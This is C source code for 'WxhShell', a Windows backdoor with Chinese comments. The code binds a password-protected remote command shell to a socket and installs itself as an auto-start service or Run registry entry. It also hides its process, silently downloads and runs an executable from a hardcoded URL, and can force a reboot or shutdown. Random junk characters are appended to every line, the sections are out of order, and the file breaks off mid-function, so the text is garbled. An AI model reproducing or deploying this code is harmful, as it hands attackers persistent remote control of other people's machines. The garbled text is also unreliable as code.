  case 'd': { v] hu5t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O{ |Ug~  
    if(Boot(SHUTDOWN)) #= @?)\~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k83S.*9Mx  
    else { L=V.@?  
    closesocket(wsh); WXe]Q bg  
    ExitThread(0); Mk!bmFZOZ  
    } #]@|mf q  
    break; &r1]A&  
    } O*ER3  
  // 获取shell sk7]s7  
  case 's': { E$USam  
    CmdShell(wsh); Pd;Gc@'~  
    closesocket(wsh); 0@kL<\u  
    ExitThread(0); CX#d9 8\b  
    break; 7(C:ty9  
  } #X qnH  
  // 退出 HlraOp+  
  case 'x': { yVgHu#?PM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (W+aeB0  
    CloseIt(wsh); kt7x}F(?<  
    break; kxt/I<cs  
    } c]R27r E  
  // 离开  N}KL'  
  case 'q': { !TLJk]7uC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )F,z pGG  
    closesocket(wsh); %`}nP3  
    WSACleanup(); @IV,sz e  
    exit(1); qpV"ii  
    break; /n1L},67h  
        } Q+ZZwqyxD  
  } hd@jm^k  
  } 3>mAZZL5[  
j?1wP6/NP  
  // 提示信息 1x^Vv;K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QAX3*%h  
} heQyz|o  
  } PP8627uP  
%F13*hOu  
  return; 8T88  
} -lm)xpp1  
hRZYvZ3  
// shell模块句柄 8~y&"  \  
int CmdShell(SOCKET sock) ew<_2Xy"<  
{ cc0T b  
STARTUPINFO si; 'PWA  
ZeroMemory(&si,sizeof(si)); @S1Z "%S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ty}Y/jW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @;}vK=6L  
PROCESS_INFORMATION ProcessInfo; H h35cj  
char cmdline[]="cmd"; __}ut+H^5p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l"/E,X  
  return 0; m}6Jdt'|  
} -`UOqjb]3  
"v/Yw'! )  
// 自身启动模式 P|t2%:_  
int StartFromService(void) o+Fm+5t;  
{ Ako]34Rl,  
typedef struct IYv.~IQO  
{ CV)K=Br5&_  
  DWORD ExitStatus; a9NIK/9  
  DWORD PebBaseAddress; "EwzuM8 f  
  DWORD AffinityMask; 8J:=@X^}  
  DWORD BasePriority; % _nmv  
  ULONG UniqueProcessId; D~n-;T  
  ULONG InheritedFromUniqueProcessId; d .%2QkL  
}   PROCESS_BASIC_INFORMATION; %F\.1\&eE  
l2ie\4dK@  
PROCNTQSIP NtQueryInformationProcess; zwk& 3  
O_L>We@3E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a[p$e?gka  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tXcZl!3x  
s"R5'W\U  
  HANDLE             hProcess; N5zx#g  
  PROCESS_BASIC_INFORMATION pbi; -F_c Bu81V  
& H8  %  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3n~O&{  
  if(NULL == hInst ) return 0; qiH)J- ~GZ  
J&&)%&h'I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 88l1g,`**  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u;+8Jg+xH/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RAWzQE }  
i|m8#*Hd  
  if (!NtQueryInformationProcess) return 0; 2#/23(Wc  
*Qyu QF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &4ndi=.#rg  
  if(!hProcess) return 0; b[<L l%K  
/B)2L]6p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "z*.Bk  
?TJ4L/"(k6  
  CloseHandle(hProcess); sDAP'&  
Xk\IO0GF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uh`5:V  
if(hProcess==NULL) return 0; Swh\^/B8  
\Foo:jON  
HMODULE hMod; m^ Epw4eg  
char procName[255]; %7QSBL  
unsigned long cbNeeded; m_.9 PZ  
uIBN !\j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); En)Ptz#0  
0!oqP1  
  CloseHandle(hProcess); [w!T  
2|ej~}Y  
if(strstr(procName,"services")) return 1; // 以服务启动 q"EW*k+ )  
e N v\ZR1  
  return 0; // 注册表启动 O p1TsRm5L  
} ;M~9Yr=1  
Y>at J  
// 主模块 TO.STK`  
int StartWxhshell(LPSTR lpCmdLine) 6l T< lzT  
{ 6TTu[*0NT  
  SOCKET wsl; oY0*2~sg  
BOOL val=TRUE; t2Jf+t_B7  
  int port=0; %!eRR  
  struct sockaddr_in door; G|RBwl  
=CO) Q2  
  if(wscfg.ws_autoins) Install(); B!&y>Z^$  
mG$N%`aG  
port=atoi(lpCmdLine); l(Dr@LB~  
`Ns Q&G  
if(port<=0) port=wscfg.ws_port; g rCQ#3K*?  
~`="tzr:  
  WSADATA data; ;K~=? k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {~w(pAx  
h(R7y@mp\0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V'tR \b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zb2PFwcy  
  door.sin_family = AF_INET; % 8wBZ~1-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $-u c#57  
  door.sin_port = htons(port); %|ClYr  
pL!,1D!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <$K=3&:s8q  
closesocket(wsl); p(nO~I2E  
return 1; TspX7<6r  
}  Na@;F{  
\o=9WKc  
  if(listen(wsl,2) == INVALID_SOCKET) { 5gV,^[E-z  
closesocket(wsl); L>mM6$l  
return 1; v9FR  
} ,]nRnI^  
  Wxhshell(wsl); :y`LF <  
  WSACleanup(); \F-n}Z  
4f~sRubK  
return 0; DaJ,( DJY  
<T;V9(66  
} *C0a,G4  
8EMBqhl  
// 以NT服务方式启动 lJN#_V0qW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dNY'uv&Y  
{ Thu_`QP^  
DWORD   status = 0; ~5h4 Gy)  
  DWORD   specificError = 0xfffffff; $MGKGWx@E  
,X1M!'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (X-( WMsqQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]f?r@U'AS|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7 )[2Ud8  
  serviceStatus.dwWin32ExitCode     = 0; jMCd`Q]K  
  serviceStatus.dwServiceSpecificExitCode = 0; [s`B0V`04  
  serviceStatus.dwCheckPoint       = 0; \y%"tJ~N{  
  serviceStatus.dwWaitHint       = 0; he/rt#  
G[]%1 _QCO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r]&sXKDc  
  if (hServiceStatusHandle==0) return; @ *~yVV!5  
A,tg268  
status = GetLastError(); D\+x/r?-I  
  if (status!=NO_ERROR) 4H;7GNu  
{ GD)paTwO<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,YjjL  
    serviceStatus.dwCheckPoint       = 0; (gPB@hAv  
    serviceStatus.dwWaitHint       = 0; `xHpL8i$5  
    serviceStatus.dwWin32ExitCode     = status; XR9kxTuk  
    serviceStatus.dwServiceSpecificExitCode = specificError; )B +o F7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $GU  s\  
    return; r7>FH!=:  
  } DBHHJD/q  
QI U%!9Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 74:( -vS  
  serviceStatus.dwCheckPoint       = 0; Te~jYkCd  
  serviceStatus.dwWaitHint       = 0; |f$ws R`&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N\&VJc  
} 2;*G!rE&*`  
0tL5t7/Gr  
// 处理NT服务事件,比如:启动、停止 d }fd^x/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wJJ|]^0.  
{ p>\[[Md  
switch(fdwControl) p/Q< VV  
{ A^+kA)8  
case SERVICE_CONTROL_STOP: -T1R}ew*t  
  serviceStatus.dwWin32ExitCode = 0; l3BN,HNv+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l3u+fE,;_  
  serviceStatus.dwCheckPoint   = 0; s.rQiD  
  serviceStatus.dwWaitHint     = 0; xzA!,75@U  
  { #o[n.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xu"-Uj1  
  } R[6R)#o  
  return; r}e(MT:R'  
case SERVICE_CONTROL_PAUSE: Q?LzL(OioN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7VZ^J`3  
  break; {+cx}`  
case SERVICE_CONTROL_CONTINUE: U';)]vB$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [tSv{  
  break; eN|zD?ba&  
case SERVICE_CONTROL_INTERROGATE: ewN|">WXQ  
  break; 3I)oqS@q'  
}; I4w``""c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %%n&z6w-  
} YfZ5Q}*1O+  
## vP(M$  
// 标准应用程序主函数 .pe.K3G &  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W{!5}Sh  
{ f% t N2k  
9[*P`*&  
// 获取操作系统版本 3hBYx@jTO  
OsIsNt=GetOsVer(); "QS(4yw?jg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g8&& W_BI  
\24'iYtqW  
  // 从命令行安装 Gw-{`<CxE  
  if(strpbrk(lpCmdLine,"iI")) Install(); )BI%cD  
.Jg<H %%f  
  // 下载执行文件 n#WOIweInf  
if(wscfg.ws_downexe) { ? eI)m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N4-Y0BO  
  WinExec(wscfg.ws_filenam,SW_HIDE); /Us+>vg!  
} dc~vQDNw[X  
K%BFR,)g  
if(!OsIsNt) { J0e^v  
// 如果时win9x,隐藏进程并且设置为注册表启动 :N^B54o%6  
HideProc(); -{JReplc  
StartWxhshell(lpCmdLine); K iXD1Zpz  
} _C1u}1hW#  
else ]Hi1^Y<  
  if(StartFromService()) Q2]7|C  
  // 以服务方式启动 "30=!k  
  StartServiceCtrlDispatcher(DispatchTable); U v>^ Z2  
else ! @Vj&>mH$  
  // 普通方式启动 w^HI lA  
  StartWxhshell(lpCmdLine); bOrE86v:  
bT9:9LP  
return 0; rO#$SW$YW  
} JUDZ_cGr  
y,Bj,zw  
9"1=um=  
#z.\pd  
=========================================== ,g?M[(wtc  
0e]J2>  
\!uf*=d  
-~\7ZRP8  
GpO@1 C/  
Yu&\a?]\2  
" >tL" 8@z9  
X,o ]tgg=  
#include <stdio.h> d3T7$'l$  
#include <string.h> o!y<:CGL  
#include <windows.h> AlrUfSBB  
#include <winsock2.h> WRAv>s9  
#include <winsvc.h> <>-gQ9  
#include <urlmon.h> M_75bU  
.g}Y! l  
#pragma comment (lib, "Ws2_32.lib") kIt1kw  
#pragma comment (lib, "urlmon.lib") 6~s{HI!  
c(?OE' "Z  
#define MAX_USER   100 // 最大客户端连接数 MfLus40;n  
#define BUF_SOCK   200 // sock buffer l{ fL~O  
#define KEY_BUFF   255 // 输入 buffer EOqV5$+  
c[OQo~m$  
#define REBOOT     0   // 重启 M5`m5qc3  
#define SHUTDOWN   1   // 关机 hdM?Uoo(4a  
*x 2u  
#define DEF_PORT   5000 // 监听端口 Pj8Vl)8~NV  
}gX4dv B  
#define REG_LEN     16   // 注册表键长度 Z,XivU&  
#define SVC_LEN     80   // NT服务名长度 FEa%wS{  
#^i+'Z=L  
// 从dll定义API j}jU.\*v<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +'` ^ N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ND 8;1+3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b_~KtMO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .:;q8FL/  
H0.&~!,*  
// wxhshell配置信息 \4*i;a.kU  
struct WSCFG { waV4~BdL  
  int ws_port;         // 监听端口 K~5(j{Kb8  
  char ws_passstr[REG_LEN]; // 口令 f'S0 "  
  int ws_autoins;       // 安装标记, 1=yes 0=no #]}G{ P  
  char ws_regname[REG_LEN]; // 注册表键名 X)9|ZF2`  
  char ws_svcname[REG_LEN]; // 服务名 o+<hI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &.0wPyw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ROfke.N\'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a5@lWpQsV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9x8Ai  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cetlr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }LZz"b<aw  
,Qe`(vU*s  
};  :KRe==/  
aO\@5i_r  
// default Wxhshell configuration dUceZmAl  
struct WSCFG wscfg={DEF_PORT, Gh'{O/F4*  
    "xuhuanlingzhe", _&@cU<bdee  
    1, uk.x1*0x  
    "Wxhshell", ,?GAFg K:  
    "Wxhshell", jN7Z} 1`  
            "WxhShell Service", R ta_\Aj!  
    "Wrsky Windows CmdShell Service", 9'p pb  
    "Please Input Your Password: ", IifH=%2Y  
  1, Qm?o^%a  
  "http://www.wrsky.com/wxhshell.exe", } /Iw]!lK2  
  "Wxhshell.exe" &gm/@_  
    }; 1;MUemnx`  
bqR0./V  
// 消息定义模块 y=}a55:qE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mO\=# Q>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a>nV!b\n5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9>5]y}.{  
char *msg_ws_ext="\n\rExit."; ve=1y)  
char *msg_ws_end="\n\rQuit."; {y:+rh&  
char *msg_ws_boot="\n\rReboot..."; !{oP'8Ax$  
char *msg_ws_poff="\n\rShutdown..."; UFa00t^5  
char *msg_ws_down="\n\rSave to "; :OY7y`hRG  
<{1 3Nd'o  
char *msg_ws_err="\n\rErr!"; n] n3/wpO  
char *msg_ws_ok="\n\rOK!"; Yg`z4 U'6~  
`&/zOMp  
char ExeFile[MAX_PATH]; C1~Ro9si  
int nUser = 0; ,rQPs  
HANDLE handles[MAX_USER]; MWc{7,  
int OsIsNt; GwlAEhP  
cFG%Ew@  
SERVICE_STATUS       serviceStatus; ;\+A6(GX{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0`e- ;  
rMUQh~a/  
// 函数声明 `qbsDfq@  
int Install(void); Tq >?.bq9  
int Uninstall(void); W3i X;-Z  
int DownloadFile(char *sURL, SOCKET wsh); |fm"{$u  
int Boot(int flag); Dr"F5Wbg  
void HideProc(void); gB#$"mq,  
int GetOsVer(void); * @j#13.  
int Wxhshell(SOCKET wsl); #1f8A5<  
void TalkWithClient(void *cs); s^AZ)k~J(  
int CmdShell(SOCKET sock); 3sGe#s%  
int StartFromService(void); }Rq-IRa'  
int StartWxhshell(LPSTR lpCmdLine); i+.bR.WO  
/F @a@m|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); We#O' m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KY;E.D`  
W?auY_+P  
// 数据结构和表定义 -zL xT  
SERVICE_TABLE_ENTRY DispatchTable[] = ?x &"EhA>  
{ \LW '6 pQ_  
{wscfg.ws_svcname, NTServiceMain}, [kq+a] q  
{NULL, NULL} uH!;4@ uI  
}; ;;- I<TL  
 0bk094  
// 自我安装 !ly]{DTmm  
int Install(void) }+f@$L  
{ re} P  
  char svExeFile[MAX_PATH]; -{fbZk&A  
  HKEY key; uU00ZPS*G[  
  strcpy(svExeFile,ExeFile); X<"W@  
%7rWebd-  
// 如果是win9x系统,修改注册表设为自启动 o%A@ OY  
if(!OsIsNt) { ;H8A"$%n~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ow]c,F}^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hu qQ0  
  RegCloseKey(key); G@QZmuj&KH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |+i?FYA\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dmD ':1  
  RegCloseKey(key); C_Z[ul  
  return 0; X\1'd,V  
    } dPRGL hWF  
  } e[8p/hId  
} "^ cn9AG{  
else { j^~WAWbFh  
. RNQlh3  
// 如果是NT以上系统,安装为系统服务 SQbnn"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yN~: 3  
if (schSCManager!=0) Lw.N3!e[  
{ '4qi^$|\  
  SC_HANDLE schService = CreateService E8Wgm 8  
  ( )f0t"lk  
  schSCManager, !Hr +|HKQ?  
  wscfg.ws_svcname, v 1O* Q  
  wscfg.ws_svcdisp, 5fBW#6N/  
  SERVICE_ALL_ACCESS, hU `H\LE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cS ;hyLd  
  SERVICE_AUTO_START, 9Kyr/6w4-k  
  SERVICE_ERROR_NORMAL, =lG5Kc{B  
  svExeFile, 8f|  
  NULL, 0Q5ua `U  
  NULL, pOip$Z  
  NULL, [0} ^w[  
  NULL, ,saf"Ed=  
  NULL D|n`9yv a  
  ); C@L:m1fz  
  if (schService!=0) ?H3xE=<X  
  {  _D(F[p|  
  CloseServiceHandle(schService); iffRGnN^e  
  CloseServiceHandle(schSCManager); "ND 7,rQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t <#Yr%a  
  strcat(svExeFile,wscfg.ws_svcname); 8<uKzb(O:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xFS`#1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dYJW`Q;j.|  
  RegCloseKey(key); eW+z@\d9Gz  
  return 0; ZuF-$]oL&  
    } BfF$  
  } F/}PN1#T  
  CloseServiceHandle(schSCManager); jfHVXu^M  
} hC8'6h  
} =2{^qvP  
nK6{_Y>  
return 1; C (_xqn  
} u*&wMR>Crf  
W!z=AL{  
// 自我卸载 f?_H02j`/E  
int Uninstall(void) nlK"2/W  
{ t1.5hsp  
  HKEY key; uV*&a~  
#2&_WM!   
if(!OsIsNt) { jQ_j#_Vle  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dd>stp   
  RegDeleteValue(key,wscfg.ws_regname); 0=&Hm).  
  RegCloseKey(key); ek#{!9-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [>4Ou^=1  
  RegDeleteValue(key,wscfg.ws_regname); 1< ;<?  
  RegCloseKey(key); :NO'[iE  
  return 0; U)+Yh  
  } }} l04kN_  
} %Sfew/"R0  
} hHdH#-O:4"  
else { rRL:]%POT  
qI"@ PI!s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Jpws1~  
if (schSCManager!=0) sL XQ)Ce  
{ 4jj@"*^a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k| nv[xY0  
  if (schService!=0) c ++tk4  
  { .QzHHW4&0  
  if(DeleteService(schService)!=0) { 2|Hq[c=~  
  CloseServiceHandle(schService); RpR;1ktF>  
  CloseServiceHandle(schSCManager); QkwBw^'_5  
  return 0; 7\K=8G  
  } 3j(GcR 9  
  CloseServiceHandle(schService); 7 rOziKZ"  
  } <`b)56v:+  
  CloseServiceHandle(schSCManager); U*=ebZno  
} uG2Hzav  
} J(VJMS;_  
c:4M|t=  
return 1; *K'(t  
} soXeHjNl  
x\GCsVy  
// 从指定url下载文件 f 6Bx>lh  
int DownloadFile(char *sURL, SOCKET wsh) ; 7[5%xM  
{ `TOm.YZG  
  HRESULT hr; *obBo6!zM  
char seps[]= "/"; gyJ$ Jp  
char *token; &mKtW$K` q  
char *file; Q\Fgc ;.U  
char myURL[MAX_PATH]; \;}F6g  
char myFILE[MAX_PATH]; )&<BQIv9/  
me#VCkr#  
strcpy(myURL,sURL); kf>oZ*/  
  token=strtok(myURL,seps); a8FC#kfq  
  while(token!=NULL) xf?*fm?m  
  { Y'`w.+9  
    file=token; )VID ;l;4  
  token=strtok(NULL,seps); B_anO{3$4  
  } &%}6&PW i  
iZB?5|*  
GetCurrentDirectory(MAX_PATH,myFILE); S v$%-x^t  
strcat(myFILE, "\\"); *f=H#  
strcat(myFILE, file); 1j "/}0fx  
  send(wsh,myFILE,strlen(myFILE),0); I1S*=^Z_U  
send(wsh,"...",3,0); mTT1,|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L\XnTL{  
  if(hr==S_OK) /Zap'S/  
return 0; 9H$#c_zrq  
else X<m#:0iD  
return 1; [*Nuw_l  
VChNDHiH  
} )"2)r{7:  
U@!e&QPn  
// 系统电源模块 +LCpE$H  
int Boot(int flag) nc!P !M  
{ Wqy|Y*$qT  
  HANDLE hToken; D$+9`  
  TOKEN_PRIVILEGES tkp; T$)&8"Xya  
+Fp8cT=1  
  if(OsIsNt) { Fx*iAH\e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d:.S]OI0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -uXf?sTV  
    tkp.PrivilegeCount = 1; (;;%B=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Fb]lM7D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k*d0ws#<l  
if(flag==REBOOT) { @k>}h\w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fgK1+sW  
  return 0; Pk!RgoWF  
} Eq=~SO%  
else { OZ3iH%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \wEHYz  
  return 0; c"Ddw'?e  
} $n\{6Rwb  
  } OOn{Wp  
  else { ov*?[Y7|~  
if(flag==REBOOT) { U}<5%"!;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E*'sk  
  return 0; sygxV  
} d _ )5Ks}  
else { DJvmwFx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %wWJVq}jx  
  return 0; :rd{y`59>&  
} D^8]+2r  
} ^<49NUB>  
FD:3;nUY7  
return 1; GX?R# cf  
} z{Z4{&M  
/N .xh  
// win9x进程隐藏模块 82l$]W4  
void HideProc(void) GdHFgxI  
{ Is1P,`*!  
P0VXHE1p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $`,10uw  
  if ( hKernel != NULL ) *;cvG?V  
  { 2o2jDQ|7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @6\Id7`Ea  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KT$Za  
    FreeLibrary(hKernel); R8LJC]6Bh  
  } _)-t#Ve  
fUj[E0yOF  
return; dt&m YSZ}  
} n-zAkKM  
T%74JRQ  
// 获取操作系统版本 ~(i#A>   
int GetOsVer(void) >-U'mkIH  
{ }huj%Pnk )  
  OSVERSIONINFO winfo; 3-x ;_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *\Z9=8yK  
  GetVersionEx(&winfo); s^f7w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K#Ia19au5  
  return 1; >T84NFdz+  
  else Buc{dcL/  
  return 0; NULew]:5  
} |i_+b@Lul  
J5dwd,FQ  
// 客户端句柄模块 s krdL.5  
int Wxhshell(SOCKET wsl) by07l5  
{ @^P<(%p  
  SOCKET wsh; 8Of.n7{  
  struct sockaddr_in client; vH1IVF"DS  
  DWORD myID; gOiZ8K!  
ZHu"& &  
  while(nUser<MAX_USER) >b\{y}[  
{ `Iwl\x[A  
  int nSize=sizeof(client); |5il5UP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7v'aw"~  
  if(wsh==INVALID_SOCKET) return 1; J9aqmQj('  
U{1%ldOJ%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xB5qX7*.  
if(handles[nUser]==0) p>#sR4d>  
  closesocket(wsh); Q1kZ+b&  
else (\8IgQ{  
  nUser++; ^mH:8_=(.  
  } To/6=$wto  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x%h4'Sm  
l4Au{%j\  
  return 0; 6roq 1=   
} O>R@Xj)M  
,9,cN-/a  
// 关闭 socket P^(uS'j)+  
void CloseIt(SOCKET wsh) \_io:{M  
{ ^VI\:<\{  
closesocket(wsh); d1jg3{pwA  
nUser--; Z  FIy  
ExitThread(0); ":v^Y 9  
} q@i>)nC R  
zv .#9^/y  
// 客户端请求句柄 DpCe_Vb%M  
void TalkWithClient(void *cs) F\u]X  
{ M r-l  
Vh?5  
  SOCKET wsh=(SOCKET)cs; SfSWjq  
  char pwd[SVC_LEN]; #,[z}fq  
  char cmd[KEY_BUFF]; hTc :'vq  
char chr[1]; g"{`g6(+  
int i,j; Kz~E"?  
C6"{-{H  
  while (nUser < MAX_USER) { d9iVuw0u<  
/ jLb{Ky  
if(wscfg.ws_passstr) { ]hMs:$}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g3|k-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Y"R@'~  
  //ZeroMemory(pwd,KEY_BUFF); E]w2 {%  
      i=0; Xr."C(`w  
  while(i<SVC_LEN) { =W*Ro+wWb  
rS>@>8k2,  
  // 设置超时 4 :phq  
  fd_set FdRead; -M6#,Ji  
  struct timeval TimeOut; 4Sz2 9\X  
  FD_ZERO(&FdRead); /9b+I/xY"  
  FD_SET(wsh,&FdRead); n  +v(t  
  TimeOut.tv_sec=8; |zbM$37 ?k  
  TimeOut.tv_usec=0; a#D \8;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); + L [a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?`= <*{_o  
~%eZQgqA*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Q,D3F -+f  
  pwd=chr[0]; kfY. 9$(d  
  if(chr[0]==0xd || chr[0]==0xa) { g es-nG-  
  pwd=0; ? KDg|d  
  break; `3eQ#,G!  
  } #.<Dq8u  
  i++; -G[TlH06  
    } lT?Vt`==~M  
: ]JMsa6  
  // 如果是非法用户,关闭 socket )Vz=:.D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vs^)=  
} g#Z7ReMw  
=qvn?I^/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <S^Hy&MD>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ux8K$$$  
o)wOXF  
while(1) { }0Q T5   
|J"\~%8  
  ZeroMemory(cmd,KEY_BUFF); *5u3d`bW  
}S"qU]>8a  
      // 自动支持客户端 telnet标准   hbe";(  
  j=0; _WGWU7h  
  while(j<KEY_BUFF) { vL#I+_ 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kXWC o6?  
  cmd[j]=chr[0]; oj=% < a  
  if(chr[0]==0xa || chr[0]==0xd) { 2Akh/pb  
  cmd[j]=0; ,Yn$X  
  break; >Qqxn*O  
  } ' %&-`/x  
  j++; SB|Cr:wM  
    } ! o?E.  
ta@fNS4  
  // 下载文件 Sim$:5P  
  if(strstr(cmd,"http://")) { R2==<"gq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dy~M5,zn  
  if(DownloadFile(cmd,wsh)) q>s`G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >}bkX 6c5  
  else |['SiO$)  
